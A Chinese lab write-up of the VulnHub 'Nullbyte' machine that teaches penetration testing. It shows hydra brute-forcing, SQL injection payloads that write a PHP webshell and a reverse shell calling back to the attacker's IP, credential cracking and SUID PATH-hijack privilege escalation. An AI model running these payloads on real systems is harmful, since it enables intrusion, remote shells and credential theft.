红队打靶:Nullbyte打靶思路详解(vulnhub)

news2024/11/18 5:57:31

目录

写在开头

第一步:主机发现与端口扫描

第二步:Web渗透

第三步:hydra密码爆破

第四步:SQL注入大赏

方法一:手工SQL注入之联合查询

方法二:SQL注入写入一句话木马

方法三:SQL注入写入反弹shell

方法四:SQLmap一把梭

第五步:SUID可执行文件提权

总结与思考

写在开头

 本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的难度一般,但涉及到许多先前的靶机没有提到的知识点,同时考验了对SQL注入理解,可以有多种方式进行注入,是一台很精巧的靶机。本文的打靶过程涉及到关于图片隐写、hydra密码爆破、SQL注入(联合查询)、SQL注入写shell、suid提权等。打完这个靶机还有一个启发:信息搜集如果能更加完整,会省很多兜圈子的操作。完整打靶思路详见:

「红队笔记」靶机精讲:Nullbyte - SQL注入大赏,4种注入方式,1次呈现!_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见:

NullByte: 1 ~ VulnHub

  下载链接见:

Everything you need to know about DNS services - ly0n.me

 本靶机的目标是拿到root权限,并查看/root目录下的flag。下载成功后用vmware打开,将网络链接设置为NAT模式。靶机打开之后如下:  

第一步:主机发现与端口扫描

常规思路,命令不细讲了,详情可见:

渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)

使用的命令如下:

nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.139
nmap -sT -sV -O -sC -p80,111,777,59147 10.10.10.139
nmap -sU --min-rate 10000 -p- 10.10.10.139
nmap --script=vuln -p80,111,777,59147 10.10.10.139

 网段扫描发现靶机ip是10.10.10.139,扫描全端口发现开放了如下五个端口:80,111,777,59147,说实话除了80之外的几个端口是干啥的咱也不太清楚。

 具体查看服务版本、操作系统版本、并使用默认脚本进行扫描结果如下:

nmap -sT -sV -sC -O -p80,111,777,59147 10.10.10.139

 收获就是发现777端口就是ssh的端口。这个靶机修改了ssh的默认端口22。漏洞扫描发现web目录下有几个路径,也没有太多收获:

第二步:Web渗透

 常规思路,既然开放了80端口,那就打开浏览器看看靶机ip有啥:

 有一张放着光芒的慧眼,下面还有一行文字:如果你寻找和谐的法则,那么你会得到知识。嗯~ o(* ̄▽ ̄*)o,很哲学,但并没有看出来对我打靶有什么启发。先开启个目录爆破吧,这回用gobuster扫描试试吧(参数dir表示对目录进行扫描,-w指定字典,-u指定url):

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.139


 我这里还是插播一个题外话,红队笔记在进行目录爆破时喜欢采用的字典是/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,但这个字典曾经在红队打靶:KIOPTRIX1.2打靶思路详解(vulnhub)_Bossfrank的博客-CSDN博客

这篇博客的靶机中没有扫到关键的目录(导致兜了一大圈),因如果想要扫描结果相对更全,可以选择/usr/share/wordlists/dirb/big.txt,不过这个靶机好像没啥影响,


 总之就是发现了几个关键目录:/uploads /javascript /phpmyadmin。显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径。

  再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:

 可能这也是个突破口。我们应该想办法找到这里的密码,登录进去寻找更多的信息。也可以尝试弱口令,我试了好几个都没成功。然后再回看初始哪个慧眼的界面,查看源代码看看有没有啥提示:

 也没啥提示,就是一张图片+一句话。图片名称为main.gif。至此对于我来讲基本上就束手无策了。不过由于这是个靶机,我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:

 先用file看看这个文件的具体信息,确实就是个gif的图像文件。 

 然后使用exiftools工具查看这个文件的创建时间、权限、内容等源数据信息:

 可以看到有一行关于内容的字符串kzMb5nVYJw,这个字符串是干啥的呢?可以尝试phpmyadmin的界面的口令、也可以尝试ssh登录root账号,结果都不对。顺道一提,这个kzMb5nVYJw字符串也可以使用strings命令或者直接用010editer等工具直接查看到:

 kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,那我们尝试访问10.10.10.129/kzMb5nVYJw看看有没有啥结果吧:

 还真是个目录!这个目录让我们输入Key。

第三步:hydra密码爆破

 咱也不知道密码Key是啥,看一下网页源代码有啥提示:

 首先我们看到输入框的type是password,name是key,意味着我们要输入密码一类的东西。有一行红字的注释提示:这个表单并不连接到mysql数据库,密码没有那么复杂。这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了。经过尝试了弱口令root,admin,1234,123456,12345678等无果后,我放弃了。失败的情况如下图,提示invalid key,同时看到这个界面的逻辑应该是index.php

 下一步干脆就爆破吧。可以用burp这种工具爆破,红队笔记大佬秉承着尽可能少用图形化工具的原则,这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank),然后-P指定爆破脚本,一般靶机都可选择rockyou这个字典。

hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

 破解出来了,密码是elite。鼓励我们,努力打靶的人都是精英!然后咱们用elite输入尝试一下,果然成功了,进入了下一个页面:

第四步:SQL注入大赏

 看起来这是个用户名的查询页面,查看源代码发现这个界面与420search.php这个后端文件有交互。除此之外也看不出啥了。

 既然是用户名的查询页面,我们就尝试输入几个短字符串看看有什么反应,如果什么也不输入,直接回车,结果如下:

 看到有两个用户名,ramses和isis。输入其他字符串,如果输入的字符串是ramses或isis的子串,那么会把这两个用户查出来,否则结果如下,我们搜索bossfrank:

 没有查到任何结果。既然是查询,很可能与数据库有交互,这里是否存在SQL注入呢,我们试一试仅仅输入一个单引号'查询,看看有没有报错:

 很可惜,并无报错。那继续尝试其他可能构成闭合或阶段的字符,比如'\/#)("等,发现确实有报错

 进一步排查发现,出现问题的位置是双引号,添加一个双引号即可构成报错:

 那么我们用双引号构造万能密码试试:

" or 1=1 -- -

 可以查出所有的账号!看了此处确实存在SQL注入!

接下来进入本靶机最精彩的环节了!红队笔记大佬给出了四种注入方式,我将在这里进行一一详解。这四种方式最终都可以拿到ssh登录的凭据。

方法一:手工SQL注入之联合查询

最基本的方法还是手工注入,可以更加明确注入的逻辑。首先确定列数,由前面看到的两个用户名信息感觉应该是3列,可以用order by 进行测试(按照第几列进行排序),先试试三列对不对:

"order by 3 -- -

 其中的-- -用于注释,其实只要--空格即可,再添加一个-方便我们看到空格。

 三列没有报错,说明至少有三列,那么再试试4列"order by 4 -- -

 按照第四列排序就会有报错,提示第四列未知。看来就是一共有三列。下一步,在三列的字段分别查看当前数据库、数据库版本、当前登录用户:

" union select database(),@@version,user() -- -

 ​​​可以看到当前数据库名为seth,数据库版本是5.5.44-0,高于5.1(存在information_schema这个数据库),数据库登录用户为root。下一步查看有哪些数据库:

" union select table_schema, 2, 3 from information_schema.tables -- -

 在MySQL>5.1的版本中存在一个名为information_schema的数据库,这个数据库中有一个名为tables的表,其中有一列为table_schema,记录了所有的数据库名称,结果如下:

 可以看到一共有5个数据库,分别是information_schema,mysql,perforence_schema,phpmyadmin,seth。显然我们最为关注的是seth这个数据库。然后查看seth数据库中有哪些表:

" union select table_name,2,3 from information_schema.tables where table_schema = "seth" -- -

 information_schema.tables中同时有一列名为"table_name"的列,记录了数据库中所有的表名,上述语句即为查询数据库名称为seth时有哪些表

 如上图所示,看来整个seth数据库就一张数据表,名为users,接下来我们只要查看这个表中的列即可:

" union select column_name,2,3 from information_schema.columns where table_schema = "seth" and table_name = "users" -- -

 结果如下:

 可看到users表中一共有四个字段,分别是id,user,pass,position,我们直接通过联合查询注入的昂是查找其中的前三个字段(一次最多显示三列)

" union select id, user, pass from users -- -

 可以看到有一个用户的账号是ramses,密码是YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE,这个密码看起来经过了base64编码,我们可以尝试进行base64解密:

echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE' | base64 -d

 其中-d参数表示解密,允许结果如下:

 解密出的字符是:c6d6bd7ebf806f43c76acc3681703b81

感觉解密出的字符串像是md5加密的字符,可以用hash-identifier识别一下:

 确实是。那我这里图个方便,直接找个在线网站解密md5即可:

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online

 解出来密码是omega,可以尝试ssh登录ramses账号,注意修改端口号为777,而非ssh默认的22端口。

ssh ramses@10.10.10.139 -p 777

 登录成功,下一步就可以提权了!不过我们这里暂缓提权,先讨论其它注入的方式。

方法二:SQL注入写入一句话木马

 采用另外一种方法进行注入获取登录凭据。我们尝试通过注入写入一句话php木马,一句话木马如下:

<?php system($_GET['a']);?>

实际上,注入时能写入文件的前提有两点:

1.数据库secure_file_priv参数为空,即我们具有写的权限。

2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。

实际渗透测试过程中,可以不用判断这两个前提,直接尝试写入一句话木马,如果不行再分析原因

 由于我们已经知道数据库有三列数据,因此通过注入写入一句话木马的语句是(此处把写入的一句话木马文件命名为shell.php),其中into outfile用于写入多行的文本文件:

" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -

 貌似写入成功了。我们尝试能否通过a参数指令执行命令,先执行个ls试试:

 执行成功了!那么我们使用curl指令执行命令吧,尝试读取一些敏感文件,存在注入的页面的源代码提示我们这个界面与420search.php这个后端文件有交互,那我们就尝试读取420search.php即可:

curl http://10.10.10.139/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php

特别注意:指令cat /var/www/html/kzMb5nVYJw/420search.php中的空格由于是存在于url中,因此需要将空格url编码为%20。读取成功了:

 看到了一些敏感信息,发现数据库的密码是sunnyvale。那么我们可以尝试使用此密码登录phpmyadmin的管理界面。登录成功!

 如上图,可以查看所有表的信息。自然就能发现数据库seth中的表users存储了ssh登录用户的凭据。接下来的操作就是base64解码和md5解密,不赘述了。

方法三:SQL注入写入反弹shell

 既然可以写入一句话木马,那当然也可以直接写入反弹shell的php语句直接拿到shell,反弹shell的php语句为(注意修改接收反弹shell的ip【我的kali是10.10.10.128】和端口):

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

我们同样可以通过注入的方式直接把这行代码写入/uploads/目录,命名为reverse.php,注入语句如下:

" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/reverse.php" -- -

 特别注意由于php语句是在双引号内,因此php语句中出现的双引号需要加\进转义。

 貌似又注入成功后,开启nc监听1234端口:

 然后浏览器访问靶机ip/uploads/reverse.php,成功触发了反弹shell: 

 同样的思路,我们直接在这个shell查看420search.php即可:

 然后同样的思路来到phpmyadmin登录寻找凭据即可。

方法四:SQLmap一把梭

最后这个方法就是一键梭哈。在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了。

 可以直接SQLmap直接跑一下,也不用按照数据库、表、列、字段慢慢爆,干脆直接--dump看所有结果:

sqlmap -u 'http://10.10.10.139/kzMb5nVYJw/420search.php?usrtosearch=' --dump

 然后就是base64解码和md5解密了,不再赘述。听红队笔记大佬的话:先懂原理,再用工具

第五步:SUID可执行文件提权

 先ssh登录ramses

ssh ramses@10.10.10.139 -p 777 
密码omega

然后经过一番搜索无果、sudo -l没有提示、cat /etc/crontab也没找到定时任务后,决定看看历史记录,找找有没有啥启发,直接输入history,如下:

 可以发现运行了/var/www/backup/procwatch,那么我们也尝试进入这个目录,查看procwatch这个文件是干啥的:

cd /var/www/backup
ls -liah

 注意在权限中具有s位,说明该文件运行时具有其属主的权限,也就是root的权限。查看一下相同目录下的readme.txt:

 我必须要搞定这一坨混乱。这是说啥呀,咱也没明白。尝试用运行procwatch,看看发生了什么:

 发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

 首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps

 然后我们修改环境变量,将当前目录.追加到环境变量的最开始:

export PATH=.:$PATH

 在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高。也就是说,在我们将当前目录追加到环境变量的最开始位置之后,如果系统运行ps命令(即运行procwatch),会首先在当前目录寻找是否有名为ps的文件,又由于我们在这里添加了软连接,当前目录是存在名为ps的文件的,该文件是个指向sh的软连接,因此可以在当前目录执行ps命令,实际执行的是启动sh

然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了。

如下图,果然,此时运行procwatch即可提权成功!

 然后我们进入/root目录寻找flag,是proof.txt

 至此打靶完成!

总结与思考

 这个靶机很精巧,是个很值得练手的靶机。考察了对于SQL注入的理解。虽然SQLmap一把梭的方法很快,但还是要从根本上理解SQL语句和注入的原理。另外通过SQL写入shell的方法也很经典,值得我们学习。在进行提权的时候,通过查看历史命令的方法,找到了具有s权限的文件。这启发我们拿到靶机的初始shell后可以通过查看历史命令获得启发。具有s权限的文件对于提权有重要意义,查找s权限的文件可以直接使用如下的find命令进行搜索:

find / -perm -u=s -type f 2>/dev/null

所谓提取,就是通过某些方式,使得低权限的用户可以执行高权限的操作。本次提取的核心就是利用s位属主root的执行权限。同时通过软连接+修改环境变量的方式对ps指令进行了劫持,运行时即可触发提取。最后还是总结一下打靶的全过程:

1.主机发现和端口扫描:常规思路,发现ssh端口为777.

2.web渗透,通过查看图片文件的字符串信息发现字符串kzMb5nVYJw,经过尝试发现是web目录,进入后发现有一个文本框需要输入key

3.网页源代码提示key不复杂,使用hydra进行爆破,成功的得到key为elite

4.输入elite后,成功进入了一个用户名查询页面,输入框输入双引号"会触发SQL报错,判断存在SQL注入,可通过四种方式注入,最终拿到ssh的登录凭据。

5.ssh登录,寻找具有s权限的文件,发现/www/var/www/backup/procwatch,通过软连接+修改环境变量的方式对ps指令进行了劫持,运行procwatch即可触发提取。

  到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/789046.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

快速了解新一轮Moonbeam Grants申请提案

随着Moonbeam Grant第二期计划的发布&#xff0c;超过12个项目同时提交了生态Grant申请的提案。任何大于25万枚GLMR Grant的申请都将会要求项目在Moonbeam社区治理论坛上发布Grant提案&#xff0c;内容包含项目概览、申请金额、Grant使用方案以及背后的原因等等。 Grant的发放…

【VUE】vue-i18n: Uncaught SyntaxError: Not available in legacy mode

环境 vue ^3.3.4vue-i18n ^9.2.2vite ^4.4.7 问题 在vite脚手架项目当中&#xff0c;使用vue-i18n插件进行国际化多语言时&#xff0c; 报错&#xff1a;Uncaught SyntaxError: Not available in legacy mode 对于这个报错信息&#xff0c;网上大部分的处理方案是&#xff1a…

五,Eureka 第五章

5.3.2 修改pom添加依赖 <dependencies><!--公共部门--><dependency><groupId>cn.bdqn</groupId><artifactId>springcloud-api-commons</artifactId><version>${project.version}</version></dependency><!--e…

js中的数据结构之栈

js中的数据结构之栈 一、定义 栈是一种限定仅在表尾进行插入和删除操作的线性表&#xff0c;遵循后入先出的原则。 二、描述 栈是和列表类似的一种数据结构&#xff0c;也可以说栈就是一种特殊的列表。 栈里面的元素只能通过列表的一端访问&#xff0c;这一端称为栈顶。相…

Electron 学习_BrowserWindow

BrowserWindow创建并控制浏览器窗口(主进程) 条件&#xff1a;在 app 模块 emitted ready 事件之前&#xff0c;您不能使用此模块。 1.在加载页面时&#xff0c;渲染进程第一次完成绘制时&#xff0c;如果窗口还没有被显示&#xff0c;渲染进程会发出 ready-to-show 事件 。 在…

UML/SysML建模工具更新(2023.7)(1-5)有国产工具

DDD领域驱动设计批评文集 欢迎加入“软件方法建模师”群 《软件方法》各章合集 最近一段时间更新的工具有&#xff1a; 工具最新版本&#xff1a;Visual Paradigm 17.1 更新时间&#xff1a;2023年7月11日 工具简介 很用心的建模工具。支持编写用例规约。支持文本分析和C…

微服务入门---SpringCloud(二)

微服务入门---SpringCloud&#xff08;二&#xff09; 1.Nacos配置管理1.1.统一配置管理1.1.1.在nacos中添加配置文件1.1.2.从微服务拉取配置 1.2.配置热更新1.2.1.方式一1.2.2.方式二 1.3.配置共享1&#xff09;添加一个环境共享配置2&#xff09;在user-service中读取共享配置…

k8s deployment(k8s经典版)|PetaExpress

Deployment是什么&#xff1f; Deployment是指在软件开发中将应用程序或系统部署到目标环境中的过程。它包括将代码编译、配置、打包并安装到目标服务器或设备上的步骤。k8s deployment是&#xff08;k8s经典版&#xff09;中用来管理发布的控制器&#xff0c;在开发的过程中使…

实训笔记7.25

实训笔记7.25 7.25笔记一、MapReduce的特殊使用场景1.1 通过MapReduce程序实现多文件Join操作1.1.1 通过在Reduce端实现join操作1.1.2 通过在Map端实现join操作 1.2 MapReduce中的计数器的使用1.2.1 计数器使用两种方式 1.3 MapReduce实现数据清洗 二、MapReduce的OutputFormat…

算法与数据结构(三)--栈

一.栈的基本概念 栈是一种特殊的表&#xff0c;这种表只在表首进行插入和删除操作。 因此&#xff0c;表首对于栈来说具有特殊的意义&#xff0c;称为栈顶。相应的&#xff0c;表尾称为栈底。不含任何元素的栈称为空栈。 栈的修改遵循后进先出的原则&#xff0c;Last In First…

异常报错:The last packet sent successfully to the server was 0 milliseconds ago

本地运行项目&#xff0c;突然报错&#xff0c;日志为&#xff1a; The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.在网上找了一圈&#xff0c;没有找到合适的解决方案。最后猜测问题有…

基于Java+SpringBoot+vue前后端分离在线商城系统设计实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

华为战略方法论:BLM模型之关键任务与依赖关系

内容简介 在 BLM 模型中&#xff0c;执行部分包括四个模块&#xff0c;分别是&#xff1a; 关键任务与依赖关系&#xff1b;组织与绩效&#xff1b;人才&#xff1b;氛围与文化。 详细内容&#xff0c;大家可以参看下面这张图。 这四个模块其实是可以进一步划分成两个关键点…

【LeetCode】300.最长递增子序列

首先分析这个问题&#xff0c;以示例1为例。 已经求得最大递增子序列长度为4&#xff0c;而且该子序列中最后一个数为101&#xff0c; 那么一定存在一个数ai&#xff0c;使得ai以及ai之前的所有数组成的序列中&#xff0c; 最大递增子序列长度为3&#xff0c;而且该子序列中…

Linux环境Arduino IDE中配置ATOM S3

linux选择ubuntu发行版。 硬件设备有多小呢&#xff1a; 功能超级强大。 之前的ROS1和ROS2案例已经全部移植完成并测试结束&#xff08;三轮纯人力校验&#x1f60e;&#xff09;。 官网文档信息非常非常好&#xff1a; https://docs.m5stack.com/zh_CN/quick_start/atoms3…

AI学习笔记一:软件和环境搭建

若该文为原创文章&#xff0c;转载请注明原文出处。 工欲善其事必先利其器。 一、环境説明 1、win10, 无CPU。 2、云服务器AutoDL 3、安装的软件&#xff1a;pyCharm(比较少用&#xff0c;所以不安装&#xff09; 4、环境&#xff1a;miniconda 二、miniconda 安装 1、…

List的各种排序

目录 Collections.sort对list进行排序 对象中某个属性进行排序 通过比较器进行比较 JAVA8特性Stream流进行排序 Stream升降序组合使用 Collections.sort对list进行排序 public static void main(String[] args) {List<Integer> list new ArrayList<>();list…

渗透测试流程

目录 前言&#xff1a; 渗透测试流程 1、先了解下渗透测试与入侵的最大区别 2、一般渗透测试流程 前言&#xff1a; 在软件开发中&#xff0c;渗透测试是一种非常重要的安全测试方法&#xff0c;它可以帮助我们更加全面地检测软件中的安全漏洞和风险。 渗透测试流程 1、…

I2C通讯EEPROM

1。对I2C写数据的时候&#xff0c;首先发一个停止信号&#xff0c;确保接下来发送新的数据保存至EEPROM。 2。发送起始信号 3。发送EEPROM设备地址 根据对应的EEPROM&#xff0c;规格书&#xff0c;以及线路图&#xff0c;发送地址。 根据线路图A0,A1,A2接地&#xff0c;表…

Vite多页面应用简单构建(Vite4.4.1)

目录 概述 配置多页面 步骤1&#xff1a;vite创建空vue项目 步骤2&#xff1a;创建子页面 步骤3&#xff1a;打包配置 完毕&#xff0c;测试 概述 此篇博客说明&#xff1a;使用Vite构建一个vue项目&#xff0c;并配置多页面应用。 目标&#xff1a;给新创建的项目配置…